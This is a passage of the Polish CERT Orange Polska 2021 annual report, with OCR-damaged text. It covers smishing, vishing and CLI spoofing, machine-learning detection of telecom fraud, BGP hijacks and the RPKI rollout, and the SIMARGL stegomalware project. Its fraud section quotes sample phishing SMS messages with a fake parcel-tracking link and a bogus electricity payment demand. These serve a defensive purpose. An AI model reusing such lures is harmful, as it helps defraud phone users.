na telefonie, taki jak np. Flubot.

Smishing podpisany numerem MSISDN ma raczej
mniejszg skutecznos$¢ ale niestety znacznie trudniej

jest go zidentyfikowac i w praktyce konieczna wydaje

sie automatyczna analiza tre$ci SMS-6w pozwalajgca
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na zablokowanie tych, ktére zawieraja liki do znanych
ztosliwych stron albo znane phishingowe frazy. W obecnym
prawie telekomunikacyjnym analizowanie tresci SMS jest
zabronione, a to uniemozliwia operatorom skuteczng walke
ze smishingiem.

Czy cos sie zmieni?

Instytucje panstwowe dostrzegty problem i w zwigzku

z tym planuja modyfikacje przepiséw w taki sposéb,

aby wprowadzi¢ zobowigzania do niezwtocznego blokowania
smishingu za pomocg systemu teleinformatycznego.

Plan jest taki, zeby byt obowigzek blokowania SMS-éw

wg wzorcow opracowywanych i przekazywanych przez
CSIRT NASK. Z pewnoscia nie wyeliminuje to catkowicie
smishingu, ale znacznie go ograniczy, gdyz umozliwi
stosowanie skutecznych narzedzi w walce z tym zjawiskiem.

Vishing
Skala problemu

Zgodnie z naszymi przewidywaniami z zesztorocznego
raportu zjawisko vishingu w 2021 roku bardzo sie nasilito.
W skali kraju méwimy nawet o tysigcach vishingowych
potaczen dziennie.

Dlaczego caly czas mamy z tym problem?

Vishing bedzie wystepowat, dopoki bedzie optacalny

dla przestepcéw. Catkowicie nie da sie go wyeliminowag,
ale z pewnoscig mozna zmniejszy¢ jego skale ograniczajgc
CLI spoofing, ktéry zwieksza jego skutecznosé.

W celu wyeliminowania CLI spoofing, kazdy operator
telekomunikacyjny (na $wiecie) powinien systemowo pilnowac¢
prawidtowej prezentacji numeréw swoich klientoéw, a numery
inicjujace potaczenie nie powinny byé podmieniane przez
operatoréw tranzytujacych ruch.

Pojedynczy operator ma bardzo ograniczone mozliwosci

walki z CLI spoofingiem, poniewaz ma kontrole tylko nad swojg

siecig. Poza pilnowaniem, zeby samemu nie by¢ zrédtem CLI

spoofing’u, teoretycznie jest w stanie go wykrywaé, ale jedynie

dla potaczen do wiasnych abonentéw przebywajacych
w jego sieci i prezentujgcych sie nalezagcym do niego
numerem. Podejrzane potaczenia operator moze blokowac

lub wymusza¢ dla nich brak prezentacji numeru. Te mozliwosci

ochrony bazujg na zatozeniu, ze potaczenia prezentujace sie
numerami danego operatora inicjowane s3 z jego sieci

i nie przychodza do niej z zewnatrz. W praktyce jednak
zdarzaja sie wyjatki od tej reguty, ktore znacznie komplikuja
wdrozenie takiego mechanizmu ochrony:

B numery stacjonarne i mobilne moga by¢ przenoszone

do innej sieci (a stacjonarne dodatkowo dzierzawione),

wiec weryfikacja, czy numer nalezy do operatora,

nie moze polega¢ wytgcznie na analizie prefiksu
a wymaga dodatkowo weryfikacji z aktualng baza
numerdw przeniesionych (oraz dzierzawionych),
ktéra caty czas podlega zmianom,

B numery mobilne moga byé w roamingu, a potaczenia
od nich moga wtedy przychodzi¢ z zagranicy,

1 potgczenia wychodzgce poza sie¢ moga zostac
przekierowane i wréci¢ do sieci operatora
z innej sieci, prezentujac sie numerem nalezacym
do jego sieci.

Blokowanie CLI spoofingu nawet jedynie

do witasnych abonentow i jedynie dla potgczen
prezentujacych sie nalezaca do operatora numeracija
jest bardzo skomplikowane i kosztowne. Nawet gdyby
kazdy z operatoréw osobno wdrozyt takie rozwigzanie,
to i tak blokowanych bytoby tylko 25% préb vishingu
(bo potaczenia spoofujgce numer nalezacy do jednego
operatora kierowane sg przeciez do wszystkich sieci,
nie tylko do abonentéw operatora, do ktérego nalezy
numer dzwonigcy).

Czy cos sie zmieni?

Jednym z problemoéw zidentyfikowanych w 2021 roku byty
fatszywe potgczenia generowane z zagranicy z numeréw
infolinii bankowych, ktére w konsekwencji dalszych dziatan

przestepcéw z wykorzystaniem szeregu socjotechnik
czesto prowadzity do kradziezy pieniedzy
z kont bankowych ofiar.

Na poczatku 2022 roku potgczenia spoofujace numery
mobilne spowodowaly, ze temat przeciwdziatania CLI
spoofingu otrzymat wyzszy priorytet. Oczekiwanie

i nastawienie instytucji publicznych zajmujacych sie
tematem jest takie, ze operatorzy ograniczg to zjawisko
réwniez w kontek$cie numeraciji mobilnej i to w bardzo
krétkim okresie czasu (najlepiej jeszcze w tym roku).

Oczekiwania te zostaty zweryfikowane z mozliwosciami
technicznymi operatoréw i plan dziatania mogtby sktadac
sie z kilku etapéw. Pierwsza mogtoby by¢ wdrozenie
przez operatoréw rozwigzan odfiltrowujacych z potaczen
przychodzacych do ich sieci tych, ktdre spoofujg ich wtasne
numery. Drugim etapem mogtoby by¢ np. odfiltrowywanie
Z potgczen przychodzacych do sieci operatoréw tych,
ktore spoofuja numery nalezace do innych operatorow
(wymagana jest wymiana informacji pomiedzy operatorami).
Mozna rozwazaé takze wdrozenie rozwigzania STIR/
SHAKEN, gdy stanie sie miedzynarodowym standardem
(rozwigzanie obecne na razie jedynie w Stanach
Zjednoczonych i Kanadzie).

Piotr Szarata
Cyberbezpieczenstwo Orange Polska

\
frnnny

97



Raport CERT Orange Polska 2021

Raport CERT Orange Polska 2021

Naduzycia telekomunikacyjne
okiem operatoréow. Metody
walki ze spamem i phishingiem,
oraz perspektywy wykorzystania
sztucznej inteligenciji.

W ostatnich latach termin ,,phishing” stat sie bardzo
popularny, jednak jest to kawatek wiekszego tortu
ruchu niepozadanego. Z tym problemem, zaréwno
klienci, jak i sami operatorzy stykaja sie od wielu lat.
O ile od 2016 roku liczba kart wykorzystywanych

do generowania naduzy¢ miata trend spadkowy (co
wynikato z wprowadzonego w tym czasie obowigzku
rejestracji kart prepaid), to w 2021 odczuli§my odbicie
od malejacego trendu, ze spamem i phishingiem jako
gtéwnymi bohaterami.

Ruch niepozadany

Na poczatek warto przeanalizowaé samo pojecie
~ruchu niepozadanego”, poniewaz nie jest to termin
jednorodny i obejmuje szerokie spektrum zjawisk
rozpatrywanych wedle kryteridw, takich jak:

1. Medium generowania ruchu - SMS, MMS,
badz tez aplikacje zewnetrzne typu komunikatory

2. Podmiot poszkodowany - klient (poprzez otrzymy-
wanie niepozadanej komunikacji albo wytudzenie
danych wrazliwych) czy operator (poprzez wygen-
erowanie wysokiego kosztu w rozliczeniach
miedzyoperatorskich lub istotne obciazenie zasobéw
sieci)

3. Charakter tresci — marketingowy lub wytudzajacy

4. Charakter ruchu — rozumiany jako szereg statystyk
opisujacych generowany ruch, takich jak jego
wolumen, czas trwania potgczen, liczba odbiorcéw, itp.

Spam, phishing, czy zyczenia
noworoczne?

Na poczatek przyjrzyjmy sie kilku przyktadowym SMS-om:
o Unikanie kontaktu zq
Polska moze swiadczyc o braku
zainteresowania rozwiazaniem

sprawy na etapie polubownym,
Celem wyjasnienia wzywamy do

natychmiastowego kontaktu pod nr
tel_
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Twoja paczka / /
zostanie dzis wyslana
na Twoj adres, sledz

ja tutaj: https://iwww
.aprilalisamarquette.net
Ipka/?tpT4tuj.k

Z okazji Nowego Roku duzo

zdrowia, szczescia i pieniedzy
Zyczy Marian z rodzing!

PGE: Na dzien 7.05 zaplanowano
odlaczenie energii elektryczne)!

Prosimy o uregulowanie naleznosci 3.46 zI.
Zaplac teraz na:

Dwa z powyzszych przypadkéw to phishing, jeden

to potencjalna niezamoéwiona informacja handlowa (spam),
zyczenia noworoczne $miato mozna zakwalifikowac jako
standardowg komunikacje, z kolei pierwszy przypadek,

w zaleznosci od intencji nadawcy, moze by¢ zaréwno
spamem, phishingiem jak i ruchem nienoszacym znamion
naduzycia. Pomimo tego, wszystkie te wiadomosci taczy
kilka istotnych cech:

m wszystkie moga zosta¢ wystane z numeréw
abonenckich (o ile duze firmy na ogét komunikuja
sie ze swoimi klientami za pomoca nadpiséw,
to te mniejsze zdecydowanie rzadziej)

m w kazdym przypadku z karty nadawcy w kréotkim
czasie nastgpita masowa wysytka SMS

m w kazdym przypadku wiadomos¢ zostata przestana
do szerokiego grona odbiorcéw

Gdyby dokonywac identyfikacji naduzy¢ wytacznie

za pomoca wyzej podanych charakterystyk, operator
zablokowatby prawdopodobnie kazdg z tych kart. Nie

o to jednak chodzi poniewaz SMS jest nadal popularna
platforma komunikacji w Polsce i generowanie sporego
ruchu nienoszgcego znamion naduzycia jest zjawiskiem
normalnym. Jak zatem dokona¢ poprawnej selekcji ruchu
fraudowego od normalnego?

Praktyka

Algorytmy wykrywajgce naduzycia telekomunikacyjne
mozemy podzieli¢ na 3 grupy:

1. Alarmy zdarzeniowe, tzw. triggery — uruchamiaja
sie w momencie spetnienia zdefiniowanych
wczesniej regut wynikajacych z parametréw ruchu,
charakteryzuja sie najmniejszym stopniem
skomplikowania, wysoka skutecznosciag oraz prosta

implementacjg. Do ich najwiekszych wad zaliczy¢
mozna z kolei niskg elastycznos¢ (reguty te opieraja
sie przewaznie na warunkach logicznych powigzanych
relacjami koniunkcji lub alternatywy, w zwigzku

z czym niespetnienie jednego z nich moze
doprowadzi¢ do btednych wnioskdéw).

2. Zintegrowane reguty eksperckie — podobne

do triggeréow pod wzgledem konstrukcji warunkéw
logicznych, lecz agregujace dane z wielu Zrédet,

w praktyce algorytmy tego typu efektywnie
wykrywajg to, co triggerom czasami umyka.
Wyzwaniem, zaréwno od strony skomplikowania
implementaciji, jak i kosztéw wdrozenia,

jest konieczno$¢ integracji danych z licznych
systemow, z ktérych kazdy moze réznié sie czasem
zasilania o nowe dane, itp.

3. Algorytmy ,nowej generacji” - oparte na metodach

uczenia maszynowego oraz gtebokiego uczenia

— w zwigzku z gwattowng ekspansja Al na niemal
wszystkie sfery naszego zycia, wyrafinowane
algorytmy, takie jak lasy ze wzmocnieniem
gradientowym czy sieci neuronowe, znajdujg rowniez
swoje zastosowanie i coraz wiekszg popularnosé

w detekcji naduzy¢ telekomunikacyjnych. Algorytmy
te moga opieraé¢ sie w swoich fundamentach zaréwno
na alarmach pierwszej i/lub drugiej grupy, jednak

ze wzgledu na probabilistyczny charakter zwracanego
wyniku (zamiast decyzji ,,Fraud/Nie-Fraud”, wigkszo$¢
modeli dostarcza prawdopodobienstwo jego
zaistnienia), sg w stanie wykrywac¢ bardziej subtelne
kombinacje warunkéw i niuanse w danych, ktére
poprzednie alarmy ignorowaty. Z tego wzgledu

sg najbardziej odporne na zmiany charakteru fraudu

i préby ominiecia triggerow, a nawet sg w stanie same
uczy¢ sie nowych wzorcéw. Zarazem sg tez
najtrudniejsze do stworzenia i wytrenowania, oraz
podobnie jak narzedzia z grupy drugiej, w przypadku
zbierania danych do uczenia z wielu systeméw,
wymagajgce pod katem wdrozenia on-line.

Kazdy z przedstawionych przeze mnie alarméw ma swoje
mocne i stabsze strony, zatem ktory z nich wybraé?
Najlepiej kazdy. Skuteczna detekcja naduzy¢
telekomunikacyjnych, ochrona intereséw klientow,

jak i operatora, powinna opiera¢ sie na catym ekosystemie
alarmoéw, w ktérym poszczegdlne metody detekciji
wspbdtpracuja ze soba i wzmacniaja sie. Przyktadami

takiej filozofii moga by¢ nastepujace przebiegi procesow
antyfraudowych:

B zebranie detekciji z triggeréw i wzbogacenie ich
informacjami dodatkowymi, celem wzmocnienia
algorytméw z grupy drugiej

B wykorzystanie uczenia maszynowego do
wyodrebnienia profili ruchowych oraz dostosowania
parametrow triggeréw do zmieniajgcych sie wzorcow
fraudu

B systematyczne zbieranie informacji z alarmoéw
l'i Il grupy w celu zasilania danymi do uczenia
oraz trenowania modelow Al

Doswiadczenie pokazuje, ze takie podejscie do procesu
detekcji naduzy¢ gwarantuje najwiekszg efektywnosé

i responsywnos$¢ na dynamicznie nasilajace |w czasie
zjawiska naduzy¢ o réznych schematach.

Podejscie do detekcji naduzy¢
telekomunikacyjnych w ogole,
powinno opiera¢ sie na juz
przytoczonym wczesniej przyktadzie
systemu naczyn potaczonych,

ktéry z jednej strony w holistyczny
sposob kolekcjonuje i analizuje

mnogos$¢ dostepnych parametréw,
a z drugiej integruje te dziatania
miedzyobszarowo, jak i poprzez
wspotprace z zewnetrznymi
jednostkami zaangazowanymi

w walke z oszustami - regulator,
organy scigania.

Koncepcje wykorzystania uczenia
maszynowego do detekcji spamu/
phishingu

Na koniec przyjrzyjmy sie dwoém przyktadom uzycia
algorytméw ML do zwalczania zjawisk spamu/phishingu:

| Uczenie bez nadzoru - profilowanie fraudu

Oszusci moga postugiwac sie kilkoma schematami
generowania ruchu, a takze probowaé¢ ominaé¢ funkcjo-
nujgce juz metody detekcji poprzez np. ,rozwadnianie
ruchu” (rozciagajac go np. na dtuzszy okres).

W takich przypadkach szczegdlnie przydatne moga
okaza¢ sie analizy post-hoc oraz algorytmy klasteryzujace,
takie jak segmentacja metoda k-$rednich czy DBSCAN.
Analizujgc parametry ruchowe kart fraudowych na réznych
etapach generowania tego ruchu, jesteSmy w stanie
wyodrebni¢ rézne profile i schematy propagacji

badanych przez nas cech w czasie.

Przygotowujac dane do uczenia maszynowego, dla

kazdej obserwacji z analizowanej populacji kart fraud,
rozpisali$my wektor opisujgcy zmiany wartosci badanej
cechy w globalnie zestandaryzowanych jednostkach
czasu. Zastosowana przez nas metoda klasteryzaciji
k-$rednich wyodrebnita charakterystyczne profile ruchowe,
réznigce sie zaréwno poczatkowa i koncowa wartoscia tej
cechy, a takze sposobie, w jaki zmieniata sie w czasie.
Informacje te sa nastepnie wykorzystywane do dostosowy-
wania parametréw dla istniejgcych juz alarmoéw z | czy Il
grupy, celem utrzymywania ich efektywnosci na wysokim
poziomie i zapobieganiu deprecjacji algorytmow.
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Il Uczenie z nadzorem - adaptacja regut eksperckich
do modelu klasyfikacji binarnej

Staranna i pogtebiona inzynieria cech, polegajgca

na zbieraniu danych z ré6znych systeméw i zbudowania

z nich silnych predyktoréw, jest kluczowa dla efektywnej
detekcji naduzyc¢ telekomunikacyjnych. Wazne rowniez
jest odseparowanie ich od normalnego ruchu klienckiego
oraz wykrycie bardziej subtelnych niuanséw w danych,
anizeli zestaw uprzednio skonfigurowanych regut a-priori.
Budujac model probabilistyczny nalezy mie¢ na uwadze
ponizsze czynniki:

B detekcja naduzy¢ z definicji jest problemem
klasyfikacji niezbalansowanej — fraud stanowi bardzo
niski promil catego ruchu generowanego w sieci,

w zwigzku z czym przy wyborze algorytmu nalezy
bra¢ pod uwage te z nich, ktére sg odporne

na problem niezbalansowanej probki, bgdz zastosowac
metody wyréwnujace te dysproporcije (tzw. oversampling,
np. SMOTE lub ADASYN, ktérych istotng zaleta

jest generowanie nowych, ale nie identycznych
obserwaciji)

m zaréwno w przypadkach fraudu jak i ruchu
standardowego, wystepuja obserwacje odstajgce
(tzw. outliery), sa one jednak istotnym no$nikiem
informaciji, a zatem ich usuwanie ze zbioru uczacego
nie jest pozadane

m atrybuty wykorzystywane do podejmowania
decyzji czy dany ruch jest fraudowy badz nie, moga
przyjmowac zaréwno forme miar liczbowych,
jak i jako$ciowych (zmienne kategoryczne).
Reprezentacja tych drugich w formie zmiennych
binarnych (tzw. dummy variables), przy dodatkowo
wynikajacym ze znacznego wolumenu danych
(zaréwno pod katem liczby aktywnych uzytkownikow
jak i generowanych zdarzen) obserwowanych dnia
w obrebie sieci telekomunikacyjnej, kazdego moze
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prowadzi¢ do powstania nad wyraz przepastnego
zbioru do uczenia, z ktérym nie wszystkie algorytmy
(ilak np. SVC) beda w stanie poradzi¢ sobie

w rozsadnym czasie

Szczegolnie efektywne do detekcji fraudu
telekomunikacyjnego wydajg sie by¢ lasy losowe

ze wzmocnieniem gradientowym, takie jak XGBoost,
LightGBM lub CatBoost. W potfaczeniu z nowoczesnymi
frameworkami do optymalizacji hiperparametréow (Hyperopt
czy Optuna), moga one dostarczy¢ wysokich metryk
finalnych, przektadajacych sie na zauwazalng poprawe
efektywnosci detekcji spamu, phishingu i innych naduzyé.

Nalezy jednak pamietac, ze sztuczna inteligencja nie

jest nieomylna. Jakos$¢ klasyfikacji opisuje tzw. macierz
pomytek, ktdra oprécz poprawnie zidentyfikowanych
przypadkéw odseparowania fraudu od ruchu klienckiego,
niesie rowniez informacje o btedach | i Il rodzaju: False
Positives oraz False Negatives. Do Badacza Danych nalezy
wybor, ktorg z tych wartosci minimalizowaé w procesie
trenowania, majgc jednak na uwadze fakt, ze w praktyce
nie da sie ich wyeliminowa¢ catkowicie, nie nalezy
lekcewazy¢ alarméw starszej generacji na rzecz uczenia
maszynowego czy gtebokiego uczenia. Podejscie

do detekcji naduzyé telekomunikacyjnych w ogdle,
powinno opiera¢ sie na juz przytoczonym wczesniej
przyktadzie systemu naczyn potgczonych, ktéry z jednej
strony w holistyczny sposéb kolekcjonuije i analizuje
mnogos$¢ dostepnych w parametréw, a z drugiej integruje
te dziatania miedzyobszarowo, jak i poprzez wspotprace

z zewnetrznymi jednostkami zaangazowanymi w walke

z oszustami — regulator, organy $cigania. Dopiero takie
podejsécie gwarantuje pozgdany efekt synergii i osiggniecie
maksymalnej skutecznosci w walce z naduzyciami
telekomunikacyjnymi, a co za tym idzie — ochrone intereséw
klientow jak i samych operatorow.

Marcin Jakubiak
Ekspert ds. ochrony przychodéw i naduzy¢

Kierunki rozwoju
bezpieczenstwa routingu

W raportach co roku opisujemy zagrozenia zwigzane
z atakami odmowy ustugi (Denial of Service). Jednak
nie kazdy DoS to gwattowny naptyw pakietow!
Podobny skutek moze wigzaé sie z przekierowaniem
ruchu internetowego. Dlatego jako element podnoszenia
bezpieczenstwa naszej sieci i ochrony klientéw,
wdrazamy Resource Public Key Infrastructure (RPKI).

Routing - z czym to si¢ je?

Internet ztozony jest z ponad 70 tysiecy sieci
posiadajgcych wtasny numer systemu autono-
micznego (ASN). Sieci te nalezg do operatoréw
(ISP), dostawcéw tresci (CDN), ustug chmurowych
czy zwyktych firm i instytucji. Do tych sieci
przypisane sa bloki adreséw IP, zapisywane
najczesciej w postaci notacji CIDR (Classless
Inter-Domain Routing). Aby sieci mogty (szczegdlnie
te odlegte) nawigza¢ komunikacje, wykorzystywany
jest protokét BGP, czyli Border Gateway Protocol.
Za jego pomoca, systemy autonomiczne uzyskaja
informacje routingowa — ktére prefiksy IP sg dostepne
w ktorej sieci, a takze jak do danej sieci dotrze¢,
poniewaz przekazywana jest informacja o statusie
sgsiada i jego widocznosci. Nierzadko operatorzy
wplywajg na informacje przekazywane do sgsiadéow
BGP, ze wzgledu na polityke routingowa — jest ona
kombinacja topologii sieci, a takze uméw pomiedzy
firmami, przeptywnoscig oraz kosztem tgczy.

Kazdy router brzegowy eBGP przechowuje tablice
routingu BGP (RIB) z najlepszymi trasami miedzy
systemami autonomicznymi. Sg one aktualizowane
niemal bez przerwy, poniewaz wigze sie to z awariami
taczy, operacjami inzynierii ruchu, badz po prostu
rozgtoszeniem nowych prefiksow IP.

Tablica routingu BGP powieksza sie w zwalniajgcym
tempie - okoto 50 tys. prefiksow na rok, przekraczajgc
900 tys. rekorddw na przetomie 2021/22. Pomimo
przydzielenia wszystkich dostepnych klas IPv4

(z wyjatkiem odzyskanych klas Departamentu Obrony
USA) tablica rosnie. Dlaczego tak sie dzieje? Rosnie
zageszczenie sieci, np. siatka potgczen miedzy opera-
torami w punktach wymiany ruchu (takich jak TPIX).
Ponadto, rozgtaszane sa coraz drobniejsze prefiksy
(more-specific prefix). Zgodnie z zasadami protokotu
BGP, router zawsze preferuje najbardziej szczegotowy
(najdtuzszy) prefiks, a nastepnie mozliwie najkrotsza
$ciezke, aby w sposéb optymalny dotrze¢ do
adreséw IP.

Liczba AS w internecie. Stosunek sieci zarejestrowanych do faktycznie rozgtoszonych

Advertised / Unadvertised

0 2000 2005 2010
Date

2015 2020 2025

Advertised msssssm  Unadvertised
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Rozmiar tablicy BGP Zatamanie ruchu internetowego w trakcie awarii Facebooka w pazdzierniku 2021 r.
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Zawirowania w routingu
- skad to sie bierze?

Istnieje wiele typéw incydentéw routingowych,

a rozpatrywanie ich jest mozliwe przez pryzmat
kategorii, takich jak rodzaj incydentu, cel dziatania,
czas trwania, skala oraz zasieg. Warto jednak zaczaé
od genezy problemu, bowiem jest to czesto zwigzane
z rodzajem incydentu. Problemy z routingiem moga
mie¢ dwojakie podtoze: celowe dziatanie

albo btad ludzki.

Z pierwszym z nich jest najczesciej powigzany

Prefix Hijack. Atak hakerski, dziatajgcy na zasadzie
podszycia sie pod innego operatora, $ciagajacy ruch,
aby spowodowac niedostepnosé, inspekcje pakietéw

lub nawet modyfikacje zawartosci. Technicznie - atakujacy
rozgtasza prefiks (lub subprefiks) ofiary ze zmodyfikowanym
Origin ASN (zrodtowym numerem AS). Bardzo

zblizony w efekcie jest inny atak - Route Hijack,

ktory ztosliwie modyfikuje AS_PATH (liste sieci (AS-6w)
na $ciezce trasowania), co prowadzi do modyfikacji
$ciezki trasowania pakietow, a skutkiem jest

przekierowanie ruchu.

Btad ludzki jest utozsamiany z Route Leak. Wycieki

te powoduje btedna konfiguracja polityki routingowej
przez sieci z wieloma dostawcami taczy, informujac
jednego operatora o dostepnosci trasy za posrednictwem
drugiego, stajac sie jednoczesnie siecig tranzytowa.

W przypadku, gdy ta informacja zostanie rozpropagowana
przez operatora dalej w gtgb internetu, moze zdarzy¢

sie incydent o zasiegu globalnym, prowadzacy

do katastrofalnych skutkow.
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Skutki wymienionych incydentéw moga by¢ bardzo
réznorodne. Do podstawowych zaliczamy niedostepnos$é
- ruch jest przekierowany i nie ma, jak dostac sie

do docelowego miejsca w internecie, nastepuje utrata
tacznosci. Konsekwencja jest utrata wizerunku, straty
finansowe i niezadowoleni klienci. W przypadku celowego
przekierowania ruchu, mozliwa jest utrata poufnosci
(znane sa nawet przypadki podstuchu ruchu szyfrowanego)
i utrata integralnos$ci komunikacji, poniewaz jest mozliwa
modyfikacja zawartosci. Skutek - utrata danych

i sekretéw albo srodkéw finansowych.

Jaki byt 2021 dla bezpieczenstwa
routingu?

To nie byt spokojny czas. Juz na samym poczatku roku,
6 stycznia AS9304 - ISP z Hong Kongu spowodowat
wyciek 8764 prefiksow, konflikt dotyczyt az 907 réznych
systemoéw autonomicznych z 66 réznych krajow.

Jedynie kilka dni pdzniej, 27 stycznia, AS61666 GLOBO,
brazylijska sie¢ spowodowata wyciek tras do zapasowego
ISP. Wyciekto 1330 prefikséw, poszkodowanych zostato
265 sieci w 21 krajach (1435 konfliktow).

Kolejne powazne zdarzenie, 16 kwietnia. Indyjska sie¢
AS55410 (Vodafone Idea) spowodowata przejecie (hijack)
37739 prefikséw. Problemy dotknety ponad 4000 réznych
sieci (Google, Microsoft, Akamai, Cloudflare, Fastly, i in.)!
Niestety, 80% prefiksdw nie posiadato ROA (Route Origin
Authorization), przez co awarii nie udaje sie zatrzymac

w tatwy sposéb.

2021-10-04 to 2021-10-05 UTC (5 minute intervals)

Messenger \ ‘ ’
users,
P Instagram
=sWhatsApp ‘ysers
. " users

=

Twitter
users =

4 pazdziernika - najwieksza awaria ubiegtego roku
spowodowana zostata przez problemy z routingiem.
Efekt - globalna niedostepnos¢ serwiséw Facebook,

WhatsApp, Instagram oraz Oculus przez okoto 6 godzin.

Spowodowana byta wycofaniem z globalnej tablicy
BGP tras do prefikséw infrastruktury Facebook,

a w szczegolnosci do serweréw DNS. W zwigzku

z brakiem mozliwosci trasowania ruchu do tych
serwerdw, nie byta mozliwa komunikacja z pozostatg
czescig infrastruktury Facebooka. Warto nadmienic,

iz awaria ta spowodowana byta btedem operacyjnym,
a nie atakiem na firme. Ze wzgledu na to, ze aplikacje
wielokrotnie ponawiaty zadania, a uzytkownicy
zaczeli korzystac z innych serwiséw, widoczna byta
zmiana profilu globalnego ruchu.

Podszycie? To sie w Orange nie uda!

W Orange Polska mamy systemy aktywnie monitorujace
stan Swiatowego routingu, opieraja sie one na publicznych
danych z projektéw RIPE RIS Live czy RouteViews.
Wykorzystujemy je do monitorowania wspominanych
wczesniej incydentdw, ktdre mogtyby zagrozi¢ naszej
sieci. Udostepniamy réwniez informacje o routingu

w naszych sieciach TPNET (http://Ig.tpnet.pl

oraz TPIX MIX2/Optimum (http://lg.tpix.pl/ ).

Jako element podnoszenia bezpieczenstwa naszej sieci,
ochrony klientéw oraz jakosci ustug, wdrozyli§my réwniez
technologie Resource Public Key Infrastructure (RPKI).

To dodatkowa warstwa bezpieczenstwa protokotu BGP
dla naszej sieci szkieletowej i jej uzytkownikéw oraz
klientéw, zapewniajaca wzmocniona odpornos¢ na ataki
BGP Hijack. Dla zasobdw sieci Orange Polska zostaty
wygenerowane rekordy ROA (), Scisle wiazace prefiksy IP
z zrodtowym ASN sieci, a to wszystko przypieczetowane
kryptograficznym poswiadczeniem - certyfikatem X.509,
wystawionym przez RIPE NCC - naszego europejskiego
regionalnego RIR-a (Regionalny Rejestr Internetowy).
Pozostate sieci korzystajace juz z walidacji tras RPKI ROV
(Route Origin Validation) beda mogty wykry¢ potencjalny
problem i odrzuci¢ btedng $ciezke routingowa.
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+2. RPKI
CLOUDFLARE  Eyplore the Routing Security ecosystem
(G Statistics () Route Validator
ASN: PREFIX:

& BGP Routes &% Resource Explorer

PREFIX MATCH: ROA VALIDATION:

[ 5617 ] [ Enter an IP prefix } Exact Only More Specific valid Invalid None

BGP Routes

Valid

AS AS Name v4valid [ Pc Jv4invalid Pc VaUnknwn Pc V4 Total Addrs ~ V6Valid Pc  V6Inve
AS5617  TPNET 5,370,368 |100.0% 2 0.0% 1 0.0% 5370371 2,047 100.0%
AS12741 AS-NETIA Warszawa 02-822 1,637,007 | 99.1% 239 0.0% 13,840 0.8% 1,651,185 2 100.0%
LIBERTYGLOBAL Liberty Global formerly UPC
AS6830 g and Holding, aka AORTA 1,631,744 [100.0% 0 00% 768 0.0% 1,632,512 33 100.0%
AS8374  PLUSNET Plus network operator in Poland ol 0.0% 0 00% 1388288 100.0% 1,388,288 0 00%
AS12012 M ol 0.0% 0 00% 651,520 100.0% 51,520 8 100.0%
RS21021 0 M EB A SICINE DIMIniamelice o] 0.0% 0 00% 609536 100.0% 609,536 0 00%
Provider in Poland.

Od wielu lat nalezymy do stowarzyszenia Mutually
Agreed Norms for Routing Security (MANRS). Organizacja
ta promuje dobre praktyki routingu, takie jak filtrowanie,
koordynacja informaciji, publikacja i walidacja danych,
ograniczenie spoofingu. Poniewaz akcje te redukuja
zagrozenia poprzez kolektywna odpowiedzialnos¢,
zachecamy inne sieci do darmowego udziatu w MANRS,
ktérego Orange Polska zasilit jako pierwsza z polskich
firm. Obecnie, oprocz Orange Polska, jedynie AS 50599
(Data Space Sp. z 0.0.) oraz AS 197709 (MCG Fajnynet)
biorg udziat w programie.

Orange Polska stale kontroluje poprawnos$¢ routingu.
Reguty polityki sg czerpane z baz IRR (Internet Route
Registry). W 2022 roku zamierzamy wypetni¢ kolejne
wymagania MANRS, zwigzane z filtrowaniem rozgtoszen
BGP naszych klientéw w oparciu o walidacje pochodzenia
tych prefiksow (RPKI Route Origin Validation).

Oznacza to, ze sie¢ OPL nie zaakceptuje celowego

lub przypadkowego incydentu typu Hijack, minimalizujac
skale i efekt dziatania ataku.

Niestety problem jest ztozony - nawet kompletne
wdrozenie RPKI ROA i ROV nie zapewnia petnego
bezpieczenstwa internetu. Inne sieci w dalszym ciggu
moga wytworzy¢ wyciek prefiksu i spowodowac chociazby
chwilowe problemy. Dlatego obserwujemy rozwoj
technologii takich jak BGPSec, ASPA, czy BGP OPEN

policy.

Mikotaj Kowalski
Cyberbezpieczenstwo Orange Polska

SIMARGL - wykrywanie
ukrytego ztosliwego
oprogramowania

Orange Polska od 2019 roku wspdtpracuje z partnerami
w projekcie SIMARGL (Secure Intelligent Methods

for Advanced Recognition of Malware and Stegomalware),
ktory jest wspétfinansowany przez Komisje Europejska

w ramach programu ,,Horyzont 2020” (SU-ICT-01-2018).
W konsorcjum uczestniczy 14 firm z 7 krajoéw Unii
Europejskiej. Projekt zakonczy sie w 2022 roku.
Koordynaciji catosci dziatan w projekcie podijat

sie FernUniversitat w Hagen (FUH) z Niemiec.

Gtéwnym celem projektu byto dostarczenie nowych
metod do skuteczniejszego wykrywania cyberatakéw,

w szczegolnosci z wykorzystaniem ztosliwego
oprogramowania (malware). Wiele obecnych narzedzi
antywirusowych potrafi wykrywac ztosliwe oprogra-
mowanie, ale z roku na rok w cyberatakach coraz
chetniej wykorzystywane sg zaawansowane techniki
steganograficzne (techniki ukrywania informaciji)

do ukrywania przesytanych tresci, w tym ztosliwego

kodu (stegomalware), w pozornie bezpiecznych plikach
np. obrazach BMP lub PNG. Skuteczne wykrywanie
takich atakéw jest aktualnie bardzo utrudnione.

Jedno z narzedzi do detekcji ztosliwego oprogramowania
ukrytego w plikach graficznych, opracowanych w ramach
projektu SIMARGL, opiszemy ponizej. Najpierw jednak
troche o ogdlinej architekturze catego rozwigzania.

Ogédlna architektura SIMARGL

Wszystkie produkty/narzedzia wypracowywane przez
projekt SIMARGL i dostarczane jako tzw. ,,SIMARGL Toolkit”
znajdujg zastosowanie do ochrony przed trzema kategoriami
cyberatakow: ataki sieciowe, ataki na aplikacje webowe
oraz ataki z wykorzystaniem plikdw.

Jak to zostato przedstawione na Rysunku 1, do wykrycia
i odparcia cyberatakéw, SIMARGL Toolkit oferuje rozne
narzedzia analizujgce:

zdarzenia w sieci (Network Events). BDE (Big Data
Engine) jest platforma wykrywajaca ataki sieciowe
oparte na analizie ruchu sieciowego przy wykorzystaniu
algorytmoéw uczenia maszynowego ML (Machine
Learning). CYBELS Honey Net jest rozwigzaniem
opracowanym do symulowania podatnych systemoéw
informacyjnych, aby poméc identyfikowaé sposoby
atakow wykorzystywane przez cyberprzestepcow,
stosowane narzedzia oraz cele ataku. Nastepnie,
Extended Berkeley Packet Filter Framework (eBPF)
pozwala na gromadzenie informacji o zachowaniu
hostéw w sieci np. statystyki ruchu na poziomie
pojedynczych pakietéw. Z kolei Punch Platform/ML
Detection to component, ktory wykorzystuje rézne
algorytmy do identyfikacji zagrozen w oparciu o dane

z sond sieciowych CYBELS Sensor.

